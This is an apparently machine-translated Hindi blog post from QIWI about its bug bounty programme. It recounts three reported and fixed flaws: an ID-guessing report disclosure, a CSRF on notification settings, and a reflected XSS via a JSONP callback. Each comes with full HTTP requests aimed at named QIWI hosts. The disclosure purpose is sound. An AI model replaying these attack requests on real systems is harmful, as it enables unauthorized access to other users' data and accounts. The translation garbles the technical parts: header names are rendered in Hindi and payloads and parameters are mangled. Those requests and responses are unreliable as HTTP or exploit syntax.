एथिक हैक की 3 कहानियां। कैसे हैकर्स QIWI बग्स को खत्म करने में मदद करते हैं

बहुत पहले नहीं, क्यूआईडब्ल्यूआई में, हमने एक दिलचस्प कार्यक्रम शुरू किया - इसे एथिक हैक कहा जाता है । वास्तव में, हम सिस्टम इंटरफेस में त्रुटियों और बग की खोज करने के लिए सभी को आकर्षित करते हैं। मुझे एक बग मिला, इसे एक पत्र में वर्णित किया गया, क्यूआईडब्ल्यूआई से इनाम मिला - यह इस तरह से योजना काम करती है। जब कार्यक्रम सिर्फ लॉन्च किया गया था, तो कार्यालय को 2 शिविरों में विभाजित किया गया था: कुछ लोग सफलता पर विश्वास करते थे और हैकर्स से सहायता की संभावना रखते थे, जबकि अन्य इस उपक्रम को लेकर संशय में थे। तब निष्पक्ष रूप से न्याय करना मुश्किल था - हमारे पास संभावित पूर्वानुमानों के अलावा कुछ भी नहीं था। और अब है। और हम केवल प्राप्त मामलों को आपके साथ साझा करना चाहते हैं।



कार्यक्रम के शुभारंभ के बाद से, हमें जानकारी मिली है और 150 से अधिक कमजोरियों को ठीक किया गया है। कुछ कमजोरियों के लिए, हमने 150,000 रूबल तक का भुगतान किया, लेकिन हम उन्हें उदाहरणों में प्रकाशित नहीं कर सकते।

इसलिए, कार्यक्रम कठिन हो गया। हमने बहुत सारे कीड़े जमा कर लिए हैं जिन्हें हमने हैकर्स की सहायता के लिए धन्यवाद दिया है। विशेष रूप से आपके लिए, हमने कई उदाहरणों पर प्रकाश डाला है। एथिक हैक से कुछ वास्तविक कहानियाँ।

पहली कहानी: अन्य लोगों की रिपोर्ट पढ़ें।

कमजोर मेजबान: sms.qiwi.ru
भेद्यता का प्रकार: निर्देशिका बाईपास + कमजोर आईडी सत्यापन + सत्र सत्यापन नहीं
यह आपको अनुमति देता है: अन्य लोगों की रिपोर्ट पढ़ें और कंपनी के ग्राहकों और उनके कार्यों का अवलोकन करें :)

जहाँ वास्तव में: sms.qiwi.ru/bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name_report7.xls&report_instance_id= वांछित रिपोर्ट आईडी को अंत में समाप्त करें। रिपोर्ट्स के बाद (123456 -> रिपोर्ट / 12/34 / 56.dat)। वोइला, आपके पास किसी और की रिपोर्ट है :)

किसी और की रिपोर्ट की चोरी के उदाहरण के साथ पूर्ण GET अनुरोध:

GET /bo/monitor/get_excel_format.jsp?html_file_name=reports/13/41/14.dat&report_name=report7&file_name=report7.xport&report_instance_id= HTTP / 1.1
होस्ट: sms.qiwi.ru
उपयोगकर्ता-एजेंट: मोज़िला / 5.0 (Macintosh; इंटेल मैक ओएस एक्स 10_8_3) AppleWebKit / 536.28.10 (KHTML, गेको की तरह) संस्करण / 6.0.3 सफारी / 536.28.10
स्वीकार करें: टेक्स्ट / html, एप्लिकेशन / xhtml + xml, एप्लीकेशन / xml; q = 0.9, * / *; q / =
मूल: sms.qiwi.ru
स्वीकार-एनकोडिंग: गज़िप, अपस्फीति
स्वीकार-भाषा: आरयू
रेफर : sms.qiwi.ru/bo/monitor/report_view.jsp?instance_id=144114
कुकी: JSESSIONID =; __utma = 200106670.88940096.1367226876.1367244987.136724674.7; __utmc = 200106670; __utmz = 200106670.1367247574.7.5।
प्रॉक्सी-कनेक्शन: जीवित रखें

दूसरी कहानी: अधिसूचना सेटिंग्स को बदलना कैसे संभव था।

कमजोर मेजबान
ishop.qiwi.ru

OWASP TOP 10 वर्गीकरण भेद्यता प्रकार
ए 8 - सीएसआरएफ

जहां बिल्कुल
ishop.qiwi.ru/notificationSave.action

क्या अनुमति देता है
भेद्यता एक हमलावर को उपयोगकर्ता की अधिसूचना सेटिंग्स (फोन नंबर, एसएमएस, आदि) को संशोधित करने की अनुमति देती है जब यह उपयोगकर्ता विशेष रूप से हमलावर द्वारा बनाए गए पृष्ठ पर जाता है।

कैसे दोहराएं
1. कुछ उपयोगकर्ता खाते के तहत लॉग इन करें।
2. सूचना सेटिंग्स करें।
3. चरण 4 (परीक्षण) करें
4. BurpSuite या इसी तरह के अनुप्रयोग का उपयोग करके निम्नलिखित अनुरोध भेजें, कुकी के साथ प्राप्त कुकी मानों को प्रतिस्थापित करना (JSAIONION)

POST /notificationSave.action HTTP / 1.1
होस्ट: ishop.qiwi.ru
उपयोगकर्ता-एजेंट: मोज़िला / 5.0 (विंडोज NT 6.1; WOW64; आरवी: 20.0) गेको / 20100101 फ़ायरफ़ॉक्स / 20.0
स्वीकार करें: टेक्स्ट / html, एप्लिकेशन / xhtml + xml, एप्लीकेशन / xml; q = 0.9, * / *; q / =
स्वीकार-भाषा: ru-RU, ru; q = 0.8, en-US; q = 0.5, en; q = 0.3
स्वीकार-एनकोडिंग: गज़िप, अपस्फीति
रेफर : ishop.qiwi.ru/notifications.action
कुकी: __utma = 200106670.867508279.1368788962.1368788962.1369037765.2; __utmz = 200106670.1368788962.1.1.utmcsr = (प्रत्यक्ष) | utmccn = (प्रत्यक्ष) | utmcmd = (none) __utmc = 200106670; JSESSIONID =; नोड- ishop04.1; __utma = 47471167.1903908478.1369624211.1369650501.1369717004.6; __utmc = 47471167; __utmz = 47471167.1369717004.6.2.utmcsr = ishopnew.qiwi.ru | utmccn = (रेफरल) | utmcmd = रेफरल | utmcct / / | __utmb = 47471167.25.10.1369717004
कनेक्शन: जीवित रखें
सामग्री-प्रकार: आवेदन / x-www-form-urlencoded
सामग्री-लंबाई: 244

phone = & आने वालीBillMail = true और __ checkbox_incomingBillMail = true और __ checkbox_incomingPayMail = true & __ checkbox_incomingPaySMS = true & __ checkbox_cancelPayMail = true और __ checkbox_cancelPaySMS = सत्य
5. नोटिफिकेशन सेटिंग्स पेज पर जाएं, सुनिश्चित करें कि फोन नंबर और नोटिफिकेशन सेटिंग्स बदल गए हैं

पता करने के लिए सिफारिशें
एक यादृच्छिक मान युक्त एक छिपा हुआ फ़ॉर्म फ़ील्ड जोड़ें - CSRF टोकन।
www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet

तीसरी कहानी: मनमाना कोड।

साइट w.qiwi.ru पर त्रुटि पाई गई।

/User/communication/sendms.action स्क्रिप्ट में कॉलबैक पैरामीटर के लिए आउटपुट की कोई मान्यता और स्क्रीनिंग नहीं है।

ग्राहक पक्ष पर मनमाना कोड निष्पादित करना संभव है।

एक हमले का संचालन करने के लिए, सिस्टम में उपयोगकर्ता पंजीकरण की आवश्यकता नहीं है। उपयोगकर्ता को ब्राउज़र द्वारा प्रस्तावित जावास्क्रिप्ट स्क्रिप्ट को खोलना होगा।

उदाहरण का अनुरोध करें

GET /user/communication/sendms.action?number=&text=111&callback =>> ""; HTTP / 1.1
होस्ट: w.qiwi.ru
उपयोगकर्ता-एजेंट: मोज़िला / 5.0 (विंडोज NT 6.1; WOW64; आरवी: 20.0) गेको / 20100101 फ़ायरफ़ॉक्स / 20.0
स्वीकार करें: पाठ / जावास्क्रिप्ट, आवेदन / जावास्क्रिप्ट, * / *
स्वीकार-भाषा: ru-RU, ru; q = 0.8, en-US; q = 0.5, en; q = 0.3
स्वीकार-एनकोडिंग: गज़िप, अपस्फीति
X-Requested-With: XMLHttpRequest
रेफर : w.qiwi.ru/communication.action
कुकी: __utma = 153665022.317299647.1368525797.1368679677.1368684655.3; __utmz = 153665022.1368684655.3.3.utmcsr = google | utmccn = (कार्बनिक) | utmcmd = कार्बनिक | utmctr = qiwi% 20webmoney; JSESSIONID = .node-wb02.2; __utmc = 153665022; __utmb = 153665022.34.10.1368684655
कनेक्शन: जीवित रखें
सामग्री-लंबाई: 6

जवाब है

HTTP / 1.1 200 ठीक है
दिनांक: गुरु, 16 मई 2013 08:16:14 GMT
अवसान: सत, 6 मई 1995 12:00:00 GMT
कैश-कंट्रोल: नो-स्टोर, नो-कैश, री-रिवाइंड होना चाहिए
कैश-कंट्रोल: पोस्ट-चेक = 0, प्री-चेक = 0
प्रज्ञा: नो-कैश
सामग्री-प्रकार: पाठ / जावास्क्रिप्ट; चारसेट = utf-8
कंटेंट-लेंथ: 142
कीप-अलाइव: टाइमआउट = ५, अधिकतम = १००
कनेक्शन: कीप-अलाइव

<> "'; ({त्रुटि: 0, डेटा: {" पुष्टिकरण शब्द ": सत्य," पुष्टिकरण ":" "," प्रदाता ":" 199 "," पहचानकर्ता ":" "}, संदेश: [], त्रुटियां: [], फ़ील्डरियर्स: []})

अवधारणा का प्रमाण

Internet Explorer में, पर जाएँ

w.qiwi.ru/user/communication/sendsms.action?number= पाठ = 111 और कॉलबैक = WScript.Echo ('XSS');
जाँच करते समय, Internet Explorer संस्करण 9 का उपयोग किया गया था।